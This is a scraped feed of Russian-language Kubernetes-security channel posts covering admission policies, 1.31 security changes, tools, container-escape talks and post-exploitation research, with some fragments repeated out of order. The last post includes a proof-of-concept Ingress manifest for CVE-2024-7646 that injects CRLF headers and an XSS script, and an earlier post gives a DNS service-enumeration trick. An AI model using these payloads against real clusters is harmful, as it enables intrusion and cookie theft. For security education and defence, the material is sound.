Как вы можете помнить, начиная c
Вендоры
Неплохое демо
Kubernetes 1.26, появились Validating Admission Policies. По сути, это такая еще одна замена PolicyEngine, где правила описываются на языке CEL. Но главным преимуществом, по сравнению с классическими PolicyEngine, является то, что данные для валидации не отправляются на вебхук, а сразу обрабатываются под капотом у Kubernetes.Вендоры
PolicyEngine тоже не сидят сложа руки, и Gatekeeper, начиная с версии 1.13, и Kyverno, начиная с версии 1.11 начали поддерживать VAP. Так например, в крайнем релизе Kyverno 1.12, добавили поддержку PolicyReport для VAP.Неплохое демо
Managing Validating Admission Policies (VAP) через Gatekeeper можно посмотреть тут.🔥15👍7❤2
Если вы не знаете, почему
В статье рассказывается о преимуществе такого подхода, а также как можно завести пользователей в кластер с помощью
Kubernetes не управляет пользователями, то статья с одноименным названием "Why Kubernetes doesn’t manage users?" для вас.В статье рассказывается о преимуществе такого подхода, а также как можно завести пользователей в кластер с помощью
external connectors:- OIDC
- LDAP
- Webhooks and Custom Auth Plugins👍11❤3🔥3
Сегодня хотим поделиться небольшой утилитой
Саму тулзу можно посмотреть здесь, а в видео Adding Certificates to Container Images with Incert | Chainguard можно посмотреть какие проблемы она решает и как работает.
incert, которая позволяет в одну команду изменить docker image, добавить в него CA сертификат и запушить обновленный образ в registry. Например, так:
$ incert -image-url=mycompany/myimage:latest -ca-certs-file=/path/to/cacerts.pem -dest-image-url=myregistry/myimage:latest
Саму тулзу можно посмотреть здесь, а в видео Adding Certificates to Container Images with Incert | Chainguard можно посмотреть какие проблемы она решает и как работает.
👍22🔥7👎3🥰1
Совсем недавно компания
- Обеспокоенность в мисконфигурациях продолжает снижаться из года в год. Тем не менее мисконфиги – это по прежнему одна из основных и частых проблем в безопасности
- Уязвимостей с каждым годом становится только больше. Их нужно правильно триажить и приоритезировать
- Большинство респондентов ответило, что за последний год хотя бы раз сталкивались с инцидентами в рантайме
- Большая часть организаций признают ценность
RedHat выпустила 30-ти страничный отчёт "The state of Kubernetes security report 2024 edition". В нём довольно много цифр и статистики, но самое важное из этого:- Обеспокоенность в мисконфигурациях продолжает снижаться из года в год. Тем не менее мисконфиги – это по прежнему одна из основных и частых проблем в безопасности
Kubernetes кластеров (наши аудиты тому подтверждение)- Уязвимостей с каждым годом становится только больше. Их нужно правильно триажить и приоритезировать
- Большинство респондентов ответило, что за последний год хотя бы раз сталкивались с инцидентами в рантайме
- Большая часть организаций признают ценность
DevSecOps и способствуют сотрудничеству между DevOps и командами безопасности👍13🔥3❤2😢1
В Лас-Вегасе прошла ежегодная конференция
В докладе исследователи представили новый инструмент
Ознакомиться с самой тулзой можно по ссылке тут. Узнать, то как и где её можно применять можно здесь.
Black Hat USA 2024 и среди множества интересных докладов наш глаз зацепил доклад – Traceeshark - Interactive System Tracing & Runtime Security using eBPF (слайды и видео к сожалению пока недоступны).В докладе исследователи представили новый инструмент
traceeshark, а если быть точнее, то плагин для Wireshark. Traceeshark позволяет импортировать события, генерируемые tracee в Wireshark для дальнейшего анализа – например, kernel-level events и behavioral detections вместе с сетевым трафиком. Также этот плагин имеет возможность записывать Tracee events, также как это сделано с сетевыми пакетами в Wireshark.Ознакомиться с самой тулзой можно по ссылке тут. Узнать, то как и где её можно применять можно здесь.
Blackhat
Black Hat USA 2024
🔥18👍8❤1
На просторах
Когда мы имеем дело с уязвимым
Примеры того как можно классифицировать такие инъекции и реальные примеры таких уязвимостей можно в репозитории.
Github мы наткнулись на репозиторий KubernetesCRInjection. Он определенно будет полезен, если вы пишите свой Kubernetes controller и хотите избежать возможных уязвимостей еще на стадии его проектирования.Когда мы имеем дело с уязвимым
Kubernetes controller нужно понимать что, злоумышленники могут контролировать определенные пользовательские ресурсы и внедрять вредоносные полезные нагрузки, которые могут вызвать вредоносное поведение, когда контроллер анализирует, обрабатывает, хранит кастомные ресурсы или генерирует другие связанные ресурсы.Примеры того как можно классифицировать такие инъекции и реальные примеры таких уязвимостей можно в репозитории.
GitHub
GitHub - Esonhugh/KubernetesCRInjection: Here is a common vulnerability when Kubernetes Controller designed.
Here is a common vulnerability when Kubernetes Controller designed. - Esonhugh/KubernetesCRInjection
🔥13👍5❤2
Сегодня выходит
1) KEP-24 - Поддержка механизма
2) KEP-2535 - Обеспечение безопасного доступ к образам с
3) KEP-4193 - Контролирование анонимного доступа к
4) KEP-4193 - улучшение жизненного цикла
5) KEP-3908 -
6) KEP-4601 -
7) KEP-3962 - добавление встроенных
А все изменения можно посмотреть в 1.31 Enhancements Tracking.
Kubernetes версии 1.31 и это значит самое время посмотреть какие улучшения в аспектах ИБ [1,2] он нам принесет.1) KEP-24 - Поддержка механизма
AppArmor в Kubernetes ушло в Stable2) KEP-2535 - Обеспечение безопасного доступ к образам с
IfNotPresent image pull policy3) KEP-4193 - Контролирование анонимного доступа к
endpoints. На пример, к healthz, livez и readyz анонимно обращаться можно, а к другим нельзя даже при разрешениях RBAC.4) KEP-4193 - улучшение жизненного цикла
Bound Service Account Token5) KEP-3908 -
kube-apiserver может вызывать сторонний external key server для JWT подписи. Теперь есть поддержка сторонних identity providersё и signing services.6) KEP-4601 -
field и label selectors для авторизации. Возможность более гранулированного доступа к ресурсам (но кажется это только для системных компонентов и не влияет на RBAC).7) KEP-3962 - добавление встроенных
Mutating Admission PoliciesА все изменения можно посмотреть в 1.31 Enhancements Tracking.
ARMO
Kubernetes 1.31: Key Security Enhancements You Should Know
Explore key security improvements in Kubernetes 1.31, including AppArmor support, enhanced secret management for a more secure platform, and more
👍21🔥5❤4👎1
Небольшая тулза kube-audit-viewer будет вам полезна, если вы собираете
P.S – да, может быть не совсем красиво и удобно, но это лучше чем ничего.
Kubernetes Audit Log и хотите удобно их просматривать. По сути это простое веб-приложение, которое принимает на вход файл с логами (через параметр -logfile) и рендерит их на странице в браузере. Также присутствует функционал с простым поиском.P.S – да, может быть не совсем красиво и удобно, но это лучше чем ничего.
🔥9👍4👎2❤1🤮1
В официальном блоге
С версии
1)
2)
3)
Так что уже нужно задуматься об апгрейде своих кластеров, хостовой ОС и рантаймов на
Kubernetes с релизом версии 1.31 вышла статья "Kubernetes 1.31: Moving cgroup v1 Support into Maintenance Mode", указывающая на очень важный эволюционный момент.С версии
1.31 поддержка cgroup v1 переведена в maintenance mode. Это означает:1)
Feature Freeze: Никаких новых фич не будет добавляться с поддержкой cgroup v12)
Security Fixes: Критические исправления безопасности будут доставляться до cgroup v1 реализации3)
Best-Effort Bug Fixes: Основные баги могут быть исправлены если это возможно, но некоторые проблемы могут остаться нерешенными.Так что уже нужно задуматься об апгрейде своих кластеров, хостовой ОС и рантаймов на
cgroup v2, если вы еще об этом не позаботились ;)Kubernetes
Kubernetes 1.31: Moving cgroup v1 Support into Maintenance Mode
As Kubernetes continues to evolve and adapt to the changing landscape of container orchestration, the community has decided to move cgroup v1 support into maintenance mode in v1.31. This shift aligns with the broader industry's move towards cgroup v2, offering…
👍16🔥3❤1👎1
Когда-то на канале мы рассказывали о фишке, которая может быть полезна при пентесте в
Но, начиная с версии
P.S – тут может помочь
Kubernetes окружении – получение адресов всех сервисов в Kubernetes через dig:
dig SRV +short any.svc.cluster.local
Но, начиная с версии
CoreDNS 1.9 (вышла около двух лет назад) эту возможность выпилили. А значит в свежих версиях Kubernetes этот трюк точно не будет работать.P.S – тут может помочь
k8spider, про который мы рассказывали в одном из предыдущих постов.👍12❤5🔥4
На портале
-
-
-
- общие моменты про сканирование образов,
Также есть небольшая практика, где нужно немного пошаманить с
На все про все нужно минут
TryHackMe есть раздел/направление "K8s Best Security Practices", который как не трудно догадаться целенаправленно посвящен безопасности Kubernetes (если честно, то совсем малой части). Из тем там покрывается:-
Service Accounts-
RBAC-
API Запросы- общие моменты про сканирование образов,
SecurityContext и безопасность etcdТакже есть небольшая практика, где нужно немного пошаманить с
RBAC. На все про все нужно минут
10 (если не читать теорию) ;)3👍23🔥6❤5
На конференции OFFZONE 2024 наша команда Luntry совместно с нашим хорошим товарищем Николаем Панченко (Ведущий специалист обеспечения безопасности
Тема побегов из контейнеров в
Данное выступление в некотором роде развитие выступления "Container escapes: Kubernetes edition" c ZeroNights 2021 ;)
K8s и Cloud, T-Банк) представит доклад "Побеги из контейнеров: Kubernetes 2024 edition".Тема побегов из контейнеров в
K8s не нова. Ввиду эволюции экосистемы и инструментов IT в кластере появляются новые возможности. Но новые возможности, как известно, порождают новые уязвимости! Это ведет к тому, что в инфраструктуре K8s появляется возможность эксплуатации новых векторов атак для побега из контейнера. При этом старые векторы также стабильно присутствуют и не дают о себе забывать. В рамках доклада мы на примерах рассмотрим векторы для побегов, которые стоит знать, помнить и учитывать в 2024 году.Данное выступление в некотором роде развитие выступления "Container escapes: Kubernetes edition" c ZeroNights 2021 ;)
🔥17✍3❤3👍1
HashiCorp Vault для интеграции с Kubernetes использует например такие механизмы как Vault Secrets Operator. Но, к сожалению, Vault не умеет шифровать секреты перед их записью в etcd. Если вы хотели попробовать это у себя, то vault-kubernetes-kms в помощь.KMS плагин запускается как Static Pod, создает unix socket и получает запросы на шифрование через kubeapi. Затем плагин использует ключ шифрования Vault transit и отправляет их обратно kubeapi, который затем сохраняет зашифрованный ответ в etcd.Основные фичи:
- поддержка
Vault Token, AppRole authentication- поддержка
KMS Plugin v1 & v2- автоматическое обновление токенов для предотвращения истечения срока действия токенов
1👍28🔥4❤2
Наш хороший товарищ
Среди рассматриваемых побегов, следующие сценарии:
1) с помощью
2) с помощью
3) с помощью
4) с помощью
5) с помощью
6) с помощью
Также у Алексея есть вебинары "Атаки на CICD", "Безопасность Docker. Ультимативный гайд по харденингу Docker", "Введение в безопасность Docker".
P.S. Про побеги из контейнеров особенно актуально в преддверии нашего доклад на OFFZONE 2024 ;)
P.S.S. Если вы что-то создаете по тематике канала, то не стесняйтесь это присылать!
Алексей Федулаев недавно провел замечательный вебинар "Побеги из контейнеров / Docker Escape", который можно посмотреть на его канале и к которому идет сопроводительный репозитарий со всеми инструкциями и исходными кодами!Среди рассматриваемых побегов, следующие сценарии:
1) с помощью
SYS_ADMIN2) с помощью
SYS_PTRACE3) с помощью
SYS_MODULE4) с помощью
DAC_READ_SEARCH5) с помощью
DAC_OVERRIDE6) с помощью
docker soсket внутри контейнераТакже у Алексея есть вебинары "Атаки на CICD", "Безопасность Docker. Ультимативный гайд по харденингу Docker", "Введение в безопасность Docker".
P.S. Про побеги из контейнеров особенно актуально в преддверии нашего доклад на OFFZONE 2024 ;)
P.S.S. Если вы что-то создаете по тематике канала, то не стесняйтесь это присылать!
YouTube
Побеги из контейнеров / Docker Escape
Мы рассмотрим различные методы, которые злоумышленник может использовать, чтобы сбежать из контейнера Docker, а также проанализируем необходимые шаги для успешного побега. Мы обсудим причины возникновения таких уязвимостей и обсудим, какие меры можно принять…
4👍26🔥10❤3😁2💩2
В официальном блоге
С версии
Работа над этим идет в KEP-4639: VolumeSource: OCI Artifact and/or Image.
Что требуется для использования на текущий момент:
1)
2) Включить
3) Соответствующий
4)
Kubernetes вышла заметка "Kubernetes 1.31: Read Only Volumes Based On OCI Artifacts (alpha)".С версии
1.31 стало возможным монтировать образы как volume (источники данных) с любой информацией в нем. Тоесть можно хранить и распространять любой контент через OCI реджистри, а потом подмонтрировать к основному контейнеру с бизнес логикой. На пример, конфиги, базы знаний, feed уязвимостей, нейронки, LLM модели и т.д. И теперь это можно не пихать в основной образ! Работа над этим идет в KEP-4639: VolumeSource: OCI Artifact and/or Image.
Что требуется для использования на текущий момент:
1)
Kubernetes 1.312) Включить
ImageVolume feature gate 3) Соответствующий
kubelet4)
Container runtime с поддержкой фичи. На пример, CRI-O ≥ v1.31
P.S. Сегодня-завтра будем на конференции OFFZONE 2024. Будем рады пообщаться лично!10🔥18👍10🥰2❤1
Небольшая техническая заметка "How Kubernetes picks which pods to delete during scale-in", которая раскрывает закулисье алгоритма ответственно за удаления
Всем хорошей пятницы и выходных!
P.S. Сегодня на
Pod когда Deployment скейлится вниз. Все это автор делает очень подробно на базе версии v1.30.0-alpha.0.Всем хорошей пятницы и выходных!
P.S. Сегодня на
OFFZONE в 12:00 на main track рассказываем про "Побеги из контейнеров: Kubernetes 2024 edition" - приходите ;)👍14❤3🔥3
Ingress-nginx обзавёлся еще одной уязвимостью – CVE-2024-7646: Ingress-nginx Annotation Validation Bypass. Эта CVE как и предыдущие в ingress-nginx связана с инъекцией в аннотацию, выполнением произвольного кода в контейнере nginx controller и как следствие с получением привилегированного Service Account Token с возможностью читать все секреты в кластере.Исправления доступны с версии
1.12. В качестве меры митигации также можно рассмотреть запрет на использование определенных аннтоаций в ingress ресурсе с помощью политик Policy Engine.🔥12👍5❤1
На нашем сайте в разделе исследований стали доступны слайды с выступления "Container escapes: Kubernetes 2024 edition" с недавно прошедшей конференции OFFZONE 2024!
Видео будет доступно позже и оно обязательно к просмотру, так как мы с
И как всегда будем рады ответить на любые вопросы в комментариях к посту.
Видео будет доступно позже и оно обязательно к просмотру, так как мы с
Николаем Панченко (Т-Банк) сделали совсем не тривиальную подачу материала (даже задействовали робота доставщика) =)И как всегда будем рады ответить на любые вопросы в комментариях к посту.
🔥27❤1🥰1💩1
Сегодня хотим поделиться неплохим ресерчем – "Kubernetes has its “ADCS” – How To Backdoor a Kubernetes in silence and more persistent?".
В нём автор рассказывает о возможных методах пост эксплуатации и закрепления в кластере
Отдельно отметим технику с созданием
В нём автор рассказывает о возможных методах пост эксплуатации и закрепления в кластере
Kubernetes:- Trusted Proxy for APIServer
- Subsequent Utilization of ETCD Certificates
- Client Certificates
- JWT TokensОтдельно отметим технику с созданием
Ingress, а также Service с использованием externalName, чтобы прокинуть kubeapi наружу.GitHub
GitHub - Esonhugh/KubernetesCS: Kubernetes has its “ADCS” -- How To Backdoor a Kubernetes in silence and more persistent?
Kubernetes has its “ADCS” -- How To Backdoor a Kubernetes in silence and more persistent? - Esonhugh/KubernetesCS
1🔥11👍5❤2
Совсем незаметно с
Это дает возможность решить проблему о которой мы писали тут (обход
В итоге, это решалось в рамках KEP-3619:Fine-grained SupplementalGroups control. А подробнее можно почитать в заметке на официальном блоге.
Kubernetes 1.31 в PodSecurityContext появилось новое поле supplementalGroupsPolicy, позволяющее описывать поведение для работы с supplementalGroups.Это дает возможность решить проблему о которой мы писали тут (обход
PolicyEngine и получение доступа к директориям куда нельзя). В итоге, это решалось в рамках KEP-3619:Fine-grained SupplementalGroups control. А подробнее можно почитать в заметке на официальном блоге.
11👍8🔥3
Возвращаясь к свежей уязвимости в
Все предыдущие уязвимости в
Новый потенциальный импакт в виде
Во время пентеста можно рассмотреть как вариант закрепления и постэкспулатации, с помощью кражи кук от какой-нибудь админской панели.
P.S. – Есть нюанс, для эксплуатации нужно разрешение на использование аннотации snippet. По умолчанию это не разрешено, снять запрет можно изменив значение в Configmap ingress-nginx-controller.
ingress-nginx – CVE-2024-7646: Ingress-nginx Annotation Validation Bypass, о которой мы рассказывали в начале недели, хочется упомянуть еще один интересный вектор, который можно эксплуатировать, благодаря данной CVE.Все предыдущие уязвимости в
ingress-nginx, ровно как и свежая, позволяют исполнять произвольный код или читать произвольные файлы в контейнере ingress controller, что приводит к раскрытию Service Account Token с возможностью чтения секретов во всем кластере. Новый потенциальный импакт в виде
XSS, Сache poisoning attacks, Bypass security headers or inject malicious headers может быть достингут, используя инъекцию в аннотацию nginx.ingress.kubernetes.io/server-snippet и возможность манипулировать символом возврата каретки (\r). PoC выглядит таким образом:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: example-ingress
annotations:
nginx.ingress.kubernetes.io/server-snippet: |
add_header X-Pwn-Header "Pwn\r\n
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert('XSS');</script>
--------";
return 200 "PWNed";
spec:
rules:
- http:
paths:
- pathType: ImplementationSpecific
path: /foo(/|$)(.*)
backend:
service:
name: test-service
port:
number: 8080
Во время пентеста можно рассмотреть как вариант закрепления и постэкспулатации, с помощью кражи кук от какой-нибудь админской панели.
P.S. – Есть нюанс, для эксплуатации нужно разрешение на использование аннотации snippet. По умолчанию это не разрешено, снять запрет можно изменив значение в Configmap ingress-nginx-controller.
1👍15❤4🔥2